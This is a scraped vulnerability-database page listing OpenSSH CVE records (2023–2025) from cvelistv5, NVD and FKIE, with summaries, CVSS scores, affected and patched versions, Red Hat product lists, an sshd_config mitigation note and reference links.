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376 vulnerabilities found for OpenSSH by OpenBSD

CVE-2025-61985 (GCVE-0-2025-61985)

Vulnerability from cvelistv5 – Published: 2025-10-06 00:00 – Updated: 2025-10-06 18:34
VLAI?
Summary
ssh in OpenSSH before 10.1 allows the '\0' character in an ssh:// URI, potentially leading to code execution when a ProxyCommand is used.
Severity ?
3.6 (Low)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
CWE
  • CWE-158 - Improper Neutralization of Null Byte or NUL Character
Assigner
References
Impacted products
Vendor Product Version
OpenBSD OpenSSH Affected: 0 , < 10.1 (custom)
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CVE-2025-61984 (GCVE-0-2025-61984)

Vulnerability from cvelistv5 – Published: 2025-10-06 00:00 – Updated: 2025-11-11 14:50
VLAI?
Summary
ssh in OpenSSH before 10.1 allows control characters in usernames that originate from certain possibly untrusted sources, potentially leading to code execution when a ProxyCommand is used. The untrusted sources are the command line and %-sequence expansion of a configuration file. (A configuration file that provides a complete literal username is not categorized as an untrusted source.)
Severity ?
3.6 (Low)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
CWE
  • CWE-159 - Improper Handling of Invalid Use of Special Elements
Assigner
References
Impacted products
Vendor Product Version
OpenBSD OpenSSH Affected: 0 , < 10.1 (custom)
Create a notification for this product.
Show details on NVD website
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CVE-2025-32728 (GCVE-0-2025-32728)

Vulnerability from cvelistv5 – Published: 2025-04-10 00:00 – Updated: 2025-05-08 13:11
VLAI?
Summary
In sshd in OpenSSH before 10.0, the DisableForwarding directive does not adhere to the documentation stating that it disables X11 and agent forwarding.
Severity ?
4.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
CWE
  • CWE-440 - Expected Behavior Violation
Assigner
References
Impacted products
Vendor Product Version
OpenBSD OpenSSH Affected: 7.4 , < 10.0 (custom)
Create a notification for this product.
Show details on NVD website
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CVE-2025-26466 (GCVE-0-2025-26466)

Vulnerability from cvelistv5 – Published: 2025-02-28 21:25 – Updated: 2025-11-06 23:33
VLAI?
Summary
A flaw was found in the OpenSSH package. For each ping packet the SSH server receives, a pong packet is allocated in a memory buffer and stored in a queue of packages. It is only freed when the server/client key exchange has finished. A malicious client may keep sending such packages, leading to an uncontrolled increase in memory consumption on the server side. Consequently, the server may become unavailable, resulting in a denial of service attack.
Severity ?
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE
  • CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
Impacted products
Vendor Product Version
Affected: 9.5p1 , ≤ 9.9p1 (custom)
Show details on NVD website
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          "url": "https://www.qualys.com/2025/02/18/openssh-mitm-dos.txt"
        }
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      "title": "Openssh: denial-of-service in openssh",
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          "value": "This issue can be mitigated by setting the following three different options in the sshd configuration file located at: /etc/ssh/sshd_config\n\nMaxStartups: Set to a reasonable value, this option controls the maximum number of concurrent unauthenticated connections the SSH server accepts;\n\nPerSourcePenalties: Set its suboptions to a reasonable value, this option is used to help sshd to detect and drop connections that are potentially malicious for the SSH server;\n\nLoginGraceTime: Set to a resonable value, this option controls how much time the SSH server will wait the client to authenticate before dropping its connection;\n\nAll the three option above needs to be set to implement a full mitigation for this vulnerability."
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CVE-2025-26465 (GCVE-0-2025-26465)

Vulnerability from cvelistv5 – Published: 2025-02-18 18:27 – Updated: 2025-11-06 23:33
VLAI?
Summary
A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.
Severity ?
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
CWE
  • CWE-390 - Detection of Error Condition Without Action
Assigner
References
Impacted products
Vendor Product Version
Affected: 6.8p1 , ≤ 9.9p1 (custom)
    Red Hat Red Hat Enterprise Linux 8 Unaffected: 0:8.0p1-26.el8_10 , < * (rpm)
    cpe:/a:redhat:enterprise_linux:8::appstream
    cpe:/o:redhat:enterprise_linux:8::baseos
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 8 Unaffected: 0:8.0p1-26.el8_10 , < * (rpm)
    cpe:/a:redhat:enterprise_linux:8::appstream
    cpe:/o:redhat:enterprise_linux:8::baseos
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9 Unaffected: 0:8.7p1-45.el9 , < * (rpm)
    cpe:/o:redhat:enterprise_linux:9::baseos
    cpe:/a:redhat:enterprise_linux:9::appstream
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9 Unaffected: 0:8.7p1-45.el9 , < * (rpm)
    cpe:/o:redhat:enterprise_linux:9::baseos
    cpe:/a:redhat:enterprise_linux:9::appstream
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9.4 Extended Update Support Unaffected: 0:8.7p1-38.el9_4.5 , < * (rpm)
    cpe:/o:redhat:rhel_eus:9.4::baseos
    cpe:/a:redhat:rhel_eus:9.4::appstream
 Create a notification for this product.
    Red Hat Red Hat Discovery 1.14 Unaffected: sha256:ad1045aa0de937c3a6969ec377f7bfeda9a44ee434a954e8245e9840316ffc1c , < * (rpm)
    cpe:/a:redhat:discovery:1.14::el9
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 10     cpe:/o:redhat:enterprise_linux:10
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 6     cpe:/o:redhat:enterprise_linux:6
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 7     cpe:/o:redhat:enterprise_linux:7
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4     cpe:/a:redhat:openshift:4
 Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2024-6387 (GCVE-0-2024-6387)

Vulnerability from cvelistv5 – Published: 2024-07-01 12:37 – Updated: 2025-11-11 16:12
VLAI?
Summary
A security regression (CVE-2006-5051) was discovered in OpenSSH's server (sshd). There is a race condition which can lead sshd to handle some signals in an unsafe manner. An unauthenticated, remote attacker may be able to trigger it by failing to authenticate within a set time period.
Severity ?
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE
  • CWE-364 - Signal Handler Race Condition
Assigner
References
Impacted products
Vendor Product Version
Affected: 8.5p1 , ≤ 9.7p1 (custom)
    Red Hat Red Hat Enterprise Linux 9 Unaffected: 0:8.7p1-38.el9_4.1 , < * (rpm)
    cpe:/o:redhat:enterprise_linux:9::baseos
    cpe:/a:redhat:enterprise_linux:9::appstream
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9 Unaffected: 0:8.7p1-38.el9_4.1 , < * (rpm)
    cpe:/o:redhat:enterprise_linux:9::baseos
    cpe:/a:redhat:enterprise_linux:9::appstream
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions Unaffected: 0:8.7p1-12.el9_0.1 , < * (rpm)
    cpe:/o:redhat:rhel_e4s:9.0::baseos
    cpe:/a:redhat:rhel_e4s:9.0::appstream
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9.2 Extended Update Support Unaffected: 0:8.7p1-30.el9_2.4 , < * (rpm)
    cpe:/o:redhat:rhel_eus:9.2::baseos
    cpe:/a:redhat:rhel_eus:9.2::appstream
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4.13 Unaffected: 413.92.202407091321-0 , < * (rpm)
    cpe:/a:redhat:openshift:4.13::el9
    cpe:/a:redhat:openshift:4.13::el8
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4.14 Unaffected: 414.92.202407091253-0 , < * (rpm)
    cpe:/a:redhat:openshift:4.14::el9
    cpe:/a:redhat:openshift:4.14::el8
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4.15 Unaffected: 415.92.202407091355-0 , < * (rpm)
    cpe:/a:redhat:openshift:4.15::el8
    cpe:/a:redhat:openshift:4.15::el9
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4.16 Unaffected: 416.94.202407081958-0 , < * (rpm)
    cpe:/a:redhat:openshift:4.16::el9
 Create a notification for this product.
    Red Hat Red Hat Ceph Storage 5     cpe:/a:redhat:ceph_storage:5
 Create a notification for this product.
    Red Hat Red Hat Ceph Storage 6     cpe:/a:redhat:ceph_storage:6
 Create a notification for this product.
    Red Hat Red Hat Ceph Storage 7     cpe:/a:redhat:ceph_storage:7
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 10     cpe:/o:redhat:enterprise_linux:10
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 6     cpe:/o:redhat:enterprise_linux:6
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 7     cpe:/o:redhat:enterprise_linux:7
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 8     cpe:/o:redhat:enterprise_linux:8
 Create a notification for this product.
Credits
Red Hat would like to thank Qualys Threat Research Unit (TRU) (Qualys) for reporting this issue.
Show details on NVD website
To clipboard 

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        },
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        }
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CVE-2023-51767 (GCVE-0-2023-51767)

Vulnerability from cvelistv5 – Published: 2023-12-24 00:00 – Updated: 2025-11-18 22:03
VLAI?
Summary
OpenSSH through 10.0, when common types of DRAM are used, might allow row hammer attacks (for authentication bypass) because the integer value of authenticated in mm_answer_authpassword does not resist flips of a single bit. NOTE: this is applicable to a certain threat model of attacker-victim co-location in which the attacker has user privileges. NOTE: this is disputed by the Supplier, who states "we do not consider it to be the application's responsibility to defend against platform architectural weaknesses."
Severity ?
No CVSS data available.
CWE
  • n/a
Assigner
References
Show details on NVD website
To clipboard 

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CVE-2025-61985 (GCVE-0-2025-61985)

Vulnerability from nvd – Published: 2025-10-06 00:00 – Updated: 2025-10-06 18:34
VLAI?
Summary
ssh in OpenSSH before 10.1 allows the '\0' character in an ssh:// URI, potentially leading to code execution when a ProxyCommand is used.
Severity ?
3.6 (Low)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
CWE
  • CWE-158 - Improper Neutralization of Null Byte or NUL Character
Assigner
References
Impacted products
Vendor Product Version
OpenBSD OpenSSH Affected: 0 , < 10.1 (custom)
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2025-61984 (GCVE-0-2025-61984)

Vulnerability from nvd – Published: 2025-10-06 00:00 – Updated: 2025-11-11 14:50
VLAI?
Summary
ssh in OpenSSH before 10.1 allows control characters in usernames that originate from certain possibly untrusted sources, potentially leading to code execution when a ProxyCommand is used. The untrusted sources are the command line and %-sequence expansion of a configuration file. (A configuration file that provides a complete literal username is not categorized as an untrusted source.)
Severity ?
3.6 (Low)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
CWE
  • CWE-159 - Improper Handling of Invalid Use of Special Elements
Assigner
References
Impacted products
Vendor Product Version
OpenBSD OpenSSH Affected: 0 , < 10.1 (custom)
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2025-32728 (GCVE-0-2025-32728)

Vulnerability from nvd – Published: 2025-04-10 00:00 – Updated: 2025-05-08 13:11
VLAI?
Summary
In sshd in OpenSSH before 10.0, the DisableForwarding directive does not adhere to the documentation stating that it disables X11 and agent forwarding.
Severity ?
4.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
CWE
  • CWE-440 - Expected Behavior Violation
Assigner
References
Impacted products
Vendor Product Version
OpenBSD OpenSSH Affected: 7.4 , < 10.0 (custom)
Create a notification for this product.
Show details on NVD website
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CVE-2025-26466 (GCVE-0-2025-26466)

Vulnerability from nvd – Published: 2025-02-28 21:25 – Updated: 2025-11-06 23:33
VLAI?
Summary
A flaw was found in the OpenSSH package. For each ping packet the SSH server receives, a pong packet is allocated in a memory buffer and stored in a queue of packages. It is only freed when the server/client key exchange has finished. A malicious client may keep sending such packages, leading to an uncontrolled increase in memory consumption on the server side. Consequently, the server may become unavailable, resulting in a denial of service attack.
Severity ?
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE
  • CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
Impacted products
Vendor Product Version
Affected: 9.5p1 , ≤ 9.9p1 (custom)
Show details on NVD website
To clipboard 

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CVE-2025-26465 (GCVE-0-2025-26465)

Vulnerability from nvd – Published: 2025-02-18 18:27 – Updated: 2025-11-06 23:33
VLAI?
Summary
A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.
Severity ?
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
CWE
  • CWE-390 - Detection of Error Condition Without Action
Assigner
References
Impacted products
Vendor Product Version
Affected: 6.8p1 , ≤ 9.9p1 (custom)
    Red Hat Red Hat Enterprise Linux 8 Unaffected: 0:8.0p1-26.el8_10 , < * (rpm)
    cpe:/a:redhat:enterprise_linux:8::appstream
    cpe:/o:redhat:enterprise_linux:8::baseos
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 8 Unaffected: 0:8.0p1-26.el8_10 , < * (rpm)
    cpe:/a:redhat:enterprise_linux:8::appstream
    cpe:/o:redhat:enterprise_linux:8::baseos
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9 Unaffected: 0:8.7p1-45.el9 , < * (rpm)
    cpe:/o:redhat:enterprise_linux:9::baseos
    cpe:/a:redhat:enterprise_linux:9::appstream
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9 Unaffected: 0:8.7p1-45.el9 , < * (rpm)
    cpe:/o:redhat:enterprise_linux:9::baseos
    cpe:/a:redhat:enterprise_linux:9::appstream
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9.4 Extended Update Support Unaffected: 0:8.7p1-38.el9_4.5 , < * (rpm)
    cpe:/o:redhat:rhel_eus:9.4::baseos
    cpe:/a:redhat:rhel_eus:9.4::appstream
 Create a notification for this product.
    Red Hat Red Hat Discovery 1.14 Unaffected: sha256:ad1045aa0de937c3a6969ec377f7bfeda9a44ee434a954e8245e9840316ffc1c , < * (rpm)
    cpe:/a:redhat:discovery:1.14::el9
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 10     cpe:/o:redhat:enterprise_linux:10
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 6     cpe:/o:redhat:enterprise_linux:6
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 7     cpe:/o:redhat:enterprise_linux:7
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4     cpe:/a:redhat:openshift:4
 Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2024-6387 (GCVE-0-2024-6387)

Vulnerability from nvd – Published: 2024-07-01 12:37 – Updated: 2025-11-11 16:12
VLAI?
Summary
A security regression (CVE-2006-5051) was discovered in OpenSSH's server (sshd). There is a race condition which can lead sshd to handle some signals in an unsafe manner. An unauthenticated, remote attacker may be able to trigger it by failing to authenticate within a set time period.
Severity ?
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE
  • CWE-364 - Signal Handler Race Condition
Assigner
References
Impacted products
Vendor Product Version
Affected: 8.5p1 , ≤ 9.7p1 (custom)
    Red Hat Red Hat Enterprise Linux 9 Unaffected: 0:8.7p1-38.el9_4.1 , < * (rpm)
    cpe:/o:redhat:enterprise_linux:9::baseos
    cpe:/a:redhat:enterprise_linux:9::appstream
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    Red Hat Red Hat Enterprise Linux 9 Unaffected: 0:8.7p1-38.el9_4.1 , < * (rpm)
    cpe:/o:redhat:enterprise_linux:9::baseos
    cpe:/a:redhat:enterprise_linux:9::appstream
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions Unaffected: 0:8.7p1-12.el9_0.1 , < * (rpm)
    cpe:/o:redhat:rhel_e4s:9.0::baseos
    cpe:/a:redhat:rhel_e4s:9.0::appstream
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 9.2 Extended Update Support Unaffected: 0:8.7p1-30.el9_2.4 , < * (rpm)
    cpe:/o:redhat:rhel_eus:9.2::baseos
    cpe:/a:redhat:rhel_eus:9.2::appstream
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4.13 Unaffected: 413.92.202407091321-0 , < * (rpm)
    cpe:/a:redhat:openshift:4.13::el9
    cpe:/a:redhat:openshift:4.13::el8
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4.14 Unaffected: 414.92.202407091253-0 , < * (rpm)
    cpe:/a:redhat:openshift:4.14::el9
    cpe:/a:redhat:openshift:4.14::el8
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4.15 Unaffected: 415.92.202407091355-0 , < * (rpm)
    cpe:/a:redhat:openshift:4.15::el8
    cpe:/a:redhat:openshift:4.15::el9
 Create a notification for this product.
    Red Hat Red Hat OpenShift Container Platform 4.16 Unaffected: 416.94.202407081958-0 , < * (rpm)
    cpe:/a:redhat:openshift:4.16::el9
 Create a notification for this product.
    Red Hat Red Hat Ceph Storage 5     cpe:/a:redhat:ceph_storage:5
 Create a notification for this product.
    Red Hat Red Hat Ceph Storage 6     cpe:/a:redhat:ceph_storage:6
 Create a notification for this product.
    Red Hat Red Hat Ceph Storage 7     cpe:/a:redhat:ceph_storage:7
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 10     cpe:/o:redhat:enterprise_linux:10
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 6     cpe:/o:redhat:enterprise_linux:6
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 7     cpe:/o:redhat:enterprise_linux:7
 Create a notification for this product.
    Red Hat Red Hat Enterprise Linux 8     cpe:/o:redhat:enterprise_linux:8
 Create a notification for this product.
Credits
Red Hat would like to thank Qualys Threat Research Unit (TRU) (Qualys) for reporting this issue.
Show details on NVD website
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CVE-2023-51767 (GCVE-0-2023-51767)

Vulnerability from nvd – Published: 2023-12-24 00:00 – Updated: 2025-11-18 22:03
VLAI?
Summary
OpenSSH through 10.0, when common types of DRAM are used, might allow row hammer attacks (for authentication bypass) because the integer value of authenticated in mm_answer_authpassword does not resist flips of a single bit. NOTE: this is applicable to a certain threat model of attacker-victim co-location in which the attacker has user privileges. NOTE: this is disputed by the Supplier, who states "we do not consider it to be the application's responsibility to defend against platform architectural weaknesses."
Severity ?
No CVSS data available.
CWE
  • n/a
Assigner
References
Show details on NVD website
To clipboard 

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    "dateReserved": "2023-12-24T00:00:00.000Z",
    "dateUpdated": "2025-11-18T22:03:38.917Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

FKIE_CVE-2025-32728

Vulnerability from fkie_nvd - Published: 2025-04-10 02:15 - Updated: 2025-05-22 16:51
Severity ?
4.3 (Medium) - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
3.8 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N
Summary
In sshd in OpenSSH before 10.0, the DisableForwarding directive does not adhere to the documentation stating that it disables X11 and agent forwarding.
References
cve@mitre.orghttps://ftp.openbsd.org/pub/OpenBSD/patches/7.6/common/013_ssh.patch.sigProduct
cve@mitre.orghttps://github.com/openssh/openssh-portable/commit/fc86875e6acb36401dfc1dfb6b628a9d1460f367Patch
cve@mitre.orghttps://lists.mindrot.org/pipermail/openssh-unix-dev/2025-April/041879.htmlMailing List, Product, Release Notes
cve@mitre.orghttps://www.openssh.com/txt/release-10.0Release Notes
cve@mitre.orghttps://www.openssh.com/txt/release-7.4Release Notes
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2025/05/msg00008.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20250425-0002/Third Party Advisory
Impacted products
Vendor Product Version
openbsd openssh *
debian debian_linux 11.0
To clipboard 

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openbsd:openssh:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B82BC87D-C176-4CEF-AC2A-3563C03C3DBC",
              "versionEndExcluding": "10.0",
              "versionStartIncluding": "7.4",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    },
    {
      "nodes": [
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              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "In sshd in OpenSSH before 10.0, the DisableForwarding directive does not adhere to the documentation stating that it disables X11 and agent forwarding."
    },
    {
      "lang": "es",
      "value": " En sshd en OpenSSH anterior a 10.0, la directiva DisableForwarding no cumple con la documentaci\u00f3n que indica que deshabilita el reenv\u00edo de X11 y del agente."
    }
  ],
  "id": "CVE-2025-32728",
  "lastModified": "2025-05-22T16:51:54.890",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
          "version": "3.1"
        },
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        "impactScore": 1.4,
        "source": "cve@mitre.org",
        "type": "Secondary"
      },
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          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
          "version": "3.1"
        },
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        "impactScore": 1.4,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-04-10T02:15:30.873",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Product"
      ],
      "url": "https://ftp.openbsd.org/pub/OpenBSD/patches/7.6/common/013_ssh.patch.sig"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/openssh/openssh-portable/commit/fc86875e6acb36401dfc1dfb6b628a9d1460f367"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
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        "Product",
        "Release Notes"
      ],
      "url": "https://lists.mindrot.org/pipermail/openssh-unix-dev/2025-April/041879.html"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.openssh.com/txt/release-10.0"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.openssh.com/txt/release-7.4"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00008.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
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      ],
      "url": "https://security.netapp.com/advisory/ntap-20250425-0002/"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-440"
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      "type": "Secondary"
    },
    {
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}

FKIE_CVE-2025-26466

Vulnerability from fkie_nvd - Published: 2025-02-28 22:15 - Updated: 2025-11-03 22:18
Severity ?
5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
A flaw was found in the OpenSSH package. For each ping packet the SSH server receives, a pong packet is allocated in a memory buffer and stored in a queue of packages. It is only freed when the server/client key exchange has finished. A malicious client may keep sending such packages, leading to an uncontrolled increase in memory consumption on the server side. Consequently, the server may become unavailable, resulting in a denial of service attack.
References
secalert@redhat.comhttps://access.redhat.com/security/cve/CVE-2025-26466Third Party Advisory
secalert@redhat.comhttps://bugzilla.redhat.com/show_bug.cgi?id=2345043Issue Tracking
secalert@redhat.comhttps://seclists.org/oss-sec/2025/q1/144
secalert@redhat.comhttps://www.qualys.com/2025/02/18/openssh-mitm-dos.txtThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2025/Feb/18
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2025/May/7
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2025/May/8
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.suse.com/show_bug.cgi?id=1237041Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security-tracker.debian.org/tracker/CVE-2025-26466Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20250228-0002/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://ubuntu.com/security/CVE-2025-26466Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.openwall.com/lists/oss-security/2025/02/18/1Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.openwall.com/lists/oss-security/2025/02/18/4Mailing List, Third Party Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0https://www.qualys.com/2025/02/18/openssh-mitm-dos.txtThird Party Advisory
Impacted products
Vendor Product Version
openbsd openssh 9.5
openbsd openssh 9.6
openbsd openssh 9.6
openbsd openssh 9.7
openbsd openssh 9.7
openbsd openssh 9.8
openbsd openssh 9.8
openbsd openssh 9.9
openbsd openssh 9.9
canonical ubuntu_linux 24.04
canonical ubuntu_linux 24.10
debian debian_linux 11.0
debian debian_linux 12.0
debian debian_linux 13.0
To clipboard 

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            },
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            },
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            },
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            },
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    },
    {
      "lang": "es",
      "value": "Se ha descubierto un fallo en el paquete OpenSSH. Por cada paquete ping que recibe el servidor SSH, se asigna un paquete pong en un b\u00fafer de memoria y se almacena en una cola de paquetes. Solo se libera cuando finaliza el intercambio de claves entre el servidor y el cliente. Un cliente malintencionado puede seguir enviando dichos paquetes, lo que provoca un aumento descontrolado del consumo de memoria en el lado del servidor. En consecuencia, el servidor puede dejar de estar disponible, lo que da lugar a un ataque de denegaci\u00f3n de servicio."
    }
  ],
  "id": "CVE-2025-26466",
  "lastModified": "2025-11-03T22:18:41.853",
  "metrics": {
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      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
        "source": "secalert@redhat.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-02-28T22:15:40.080",
  "references": [
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://access.redhat.com/security/cve/CVE-2025-26466"
    },
    {
      "source": "secalert@redhat.com",
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      ],
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    },
    {
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      "url": "https://seclists.org/oss-sec/2025/q1/144"
    },
    {
      "source": "secalert@redhat.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.qualys.com/2025/02/18/openssh-mitm-dos.txt"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://seclists.org/fulldisclosure/2025/Feb/18"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://seclists.org/fulldisclosure/2025/May/7"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://seclists.org/fulldisclosure/2025/May/8"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1237041"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security-tracker.debian.org/tracker/CVE-2025-26466"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.netapp.com/advisory/ntap-20250228-0002/"
    },
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      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
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      ],
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    },
    {
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      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "https://www.openwall.com/lists/oss-security/2025/02/18/1"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
